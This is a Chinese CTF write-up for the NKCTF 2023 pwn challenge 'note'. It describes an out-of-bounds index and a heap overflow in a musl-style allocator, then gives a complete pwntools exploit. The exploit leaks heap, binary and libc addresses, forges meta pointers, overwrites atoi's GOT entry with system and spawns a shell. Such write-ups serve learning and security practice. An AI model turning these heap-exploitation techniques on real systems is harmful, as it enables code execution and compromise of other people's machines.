NKCTF_2023 pwn——note

NKCTF_2023 pwn——note

这比赛的pwn全是模板题,没啥难度,倒是适合学习新知识。

note

漏洞点:Edit存在堆溢出,idx虽然是UNsigned int不存在整数溢出,但是其大小没有限制,可以越出ptr数组。而ptr数组后面紧挨着是一个group(很好奇这个group为什么会出现在ELF里面)

思路:通过idx越界,利用ptr数组后面group的meta指针,打印其meta结构的prev指针并得到heap段基址,从而可以计算出所有meta的地址。通过覆盖这个group指向的meta的prev和next指针,再show一次可以得到meta的mem指针,这个指针指向这个ptr后方的group,也就是说我们可以得到elf基址。

上述meta后方有一个active[3]的meta,这个meta在上述的meta的后方0xa0的地方。通过堆溢出覆盖其prev指针和next指针指向他自己,再覆写mem指针指向ptr数组,即可劫持一个group到ptr数组附近,随后可以在ptr中写入got表项地址,实现泄露libc和篡改got表。

EXP:

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/nk_note'
libcpath='/home/wjc/Desktop/libc.so'

r=process(ELFpath)
e=ELF(ELFpath)
libc=ELF(libcpath)

lOGTOOL={}

ru=lambda s :r.recvuntil(s)
rud=lambda s :r.recvuntil(s,drop=True)
rc=lambda n :r.recv(n)
sl=lambda s :r.sendline(s)
sd=lambda s :r.send(s) 

def LOGALL():
    log.success("**** all result ****")
    for i in lOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def cmd(idx):
    ru('your choice: ')
    sl(str(idx))
def Add(idx,size,content):
    cmd(1)
    ru('Index:')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))
    ru('Content: ')
    sd(content)
def Edit(idx,size,content):
    cmd(2)
    ru('Index:')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))
    ru('Content: ')
    sd(content)
def Del(idx):
    cmd(3)
    ru('Index:')
    sl(str(idx))
def Show(idx):
    cmd(4)
    ru('Index:')
    sl(str(idx))


Show(0x10)

heapbase=u64(rud('\n')[-6:].ljust(8,'\x00'))-(0x562993ad6338-0x562993ad5000 )
lOGTOOL['heapbase']=heapbase
meta_ptr=heapbase+(0x000055d65ef53018-0x55d65ef52000)
lOGTOOL['meta_ptr']=meta_ptr

meta_prev=heapbase+(0x000055f82dc47338-0x55f82dc46000)
meta_next=heapbase+(0x000055f82dc470e0-0x55f82dc46000)
Edit(0x10,0x10,'a'*0x10)
Show(0x10)
ru(0x10*'a')
elfbase=u64(rud('\n')[-6:].ljust(8,'\x00'))-(0x55bf8365d120-0x55bf83659000)
Edit(0x10,0x10,p64(meta_prev)+p64(meta_next))
lOGTOOL['elfbase']=elfbase

puts_got=elfbase+e.got['puts']
atoi_got=elfbase+e.got['atoi']
lOGTOOL['puts_got']=puts_got
lOGTOOL['atoi_got']=atoi_got
ptr_base=elfbase+0x40a0
lOGTOOL['ptr_base']=ptr_base

Edit(0x10,0xa0+0x18,0xa0*'a'+p64(meta_ptr+0xa0)*2+p64(ptr_base))

Add(8,0x30,p64(puts_got))
Show(2)

libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['puts']
lOGTOOL['libcbase']=libcbase
system_addr=libcbase+libc.symbols['system']
lOGTOOL['system']=system_addr
str_bin_sh=libcbase+libc.search('/bin/sh').next()
lOGTOOL['/bin/sh']=str_bin_sh

#gdb.attach(r,'b*$rebase(0x1448)')
Edit(8,0x8,p64(atoi_got))
Edit(2,0x8,p64(system_addr))

ru('your choice: ')
sd('/bin/sh\x00')

LOGALL()

r.interactive()
posted @ 2023-03-30 21:20  Jmp·Cliff  阅读(22)  评论(0编辑  收藏  举报